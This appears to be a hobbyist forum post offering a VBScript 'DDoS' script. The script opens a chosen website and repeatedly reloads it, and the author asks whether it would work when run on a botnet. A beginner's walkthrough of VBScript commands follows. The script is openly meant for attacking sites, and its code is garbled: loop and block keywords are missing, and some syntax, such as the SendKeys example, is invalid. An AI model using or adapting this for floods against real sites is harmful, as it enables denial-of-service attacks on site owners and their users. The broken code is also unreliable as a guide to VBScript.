Hello Guys, Today I have made a script for ddosing sites with VBScript! And I don't know how you guys do it, but I've made a script that refreshes the page in a chosen amout of milliseconds. And if you want it a number of times or if you want it to go on and on. And this is a script to run it on your botnet. But again I don't know if this works on your botnet too.
' Go To The Site You Choose
Site = InputBox("What Site To DDos?", "What Site")
Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run(Site, 1)
' Speed Of Reloading
Speed = InputBox("How Fast In MiliSeconds Needs It To Be Reloaded", "How Fast")
' Choose If You Want Infinative Or A Amount Of Number The Site Reload
If MsgBox("Do You Want to Infinative Reload Or A Number Of Times?" & vbNewLine & "Yes For Infinative" & vbNewLine & "No For A Number Of Times", vbYesNo + vbQuestion, "Infinative Or Number?") = vbYes Then
Inf = 0
Loop Until Inf = 1
' Reload The Site
Num = InputBox("How Many Times Do You Want To Reload?" & vbNewline & "Only Put A Number In.", "How Many Times")
For i = 0 to Num
' End Of Script When vbNo Is Pressed
MsgBox "The DDos Is Done", 1024, "End DDos Done"
And here's how it supposed to look like:
Ok, So now I'm going to explain the commends, cuz why not.
The ' Command:
This command is used to make a commend in the script. so if you take the command line ' Speed Of Reloading for example it does nothing, so it is just for the person who examens the code a reminder
The Something = Something Command
This command is used to set a variable, and the variable name can be anything actually. After the = character comes the object you want it to be, and is pretty handy. For example you want 2 or more things to have the same input at ones. Like you want 2 message boxes but don't want 2 input boxes but one so you say:
Message = InputBox("Type Your Message")
and that's basically what it is.
The InputBox() Command
This command is used to make a pop-up box where you can type something into. The Syntax is: InputBox(prompt, title, default , xpos, ypos, helpfile, context)
The If..Then..Else Command
This is used to do/activate things when a specific case is so. The syntax is:
If condition Then Statements Else Else-Statements End If
for example if you have a messagebox with a yes and no button and you want to respond to it would be
if MsgBox("Do You Want To Be Friends?", vbYesNo, "") = vbYes Then MsgBox("Yippeee We Are Friends", 1024, "")
MsgBox("Well I Thought It Was Going So Wel Between Us", 1024, "")
The MsgBox Command
This command is used to popup a box with a message. The syntax is:
MsgBox(prompt , buttons, title , helpfile, context).
Imagine you want a popup box that says something then would the code be:
MsgBox("Your Message here", Here the buttons for example 1024,"Your Title Here")
The Do..Loop..Until Command
now this command is used for doing a loop until something happens. The syntax for this command is:
Loop Until (condition)
So if you want a counter that counts to 50 then would the code be:
Counter = 0
Counter = Counter + 1
Loop Until Counter = 50
The WScript.Sleep Command
This command is used to set a pause for a amound of time in milliseconds. The syntax is: Wscript.Sleep Amount of time in miliseconds
so if we want a counter as last example we just add between Do And Counter = Counter + 1 WScript.sleep 1000
The .SendKeys Command
This command is used to send a key. The syntax is: WshShell.SendKeys ("(here your key) (Here the amound of times it has to be pressed)")
So for example we need to press a 12 times the code will then be:
WshShell.SendKeys ("a" 12)
The For..Next Command
This command is used to repeat a groep or a command untill it has done a number of times. The syntax is: For i = 0 to (here your number)
count = 0
For i = 0 to 50
count = count +1
And that was it for this script! Now I'm curious if this will work on a botnet and I'm not experienced with it so can you tell me of this works for a ddos on a site. Also post your thoughts and ideas or something in the commends it would be appreciated.
Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.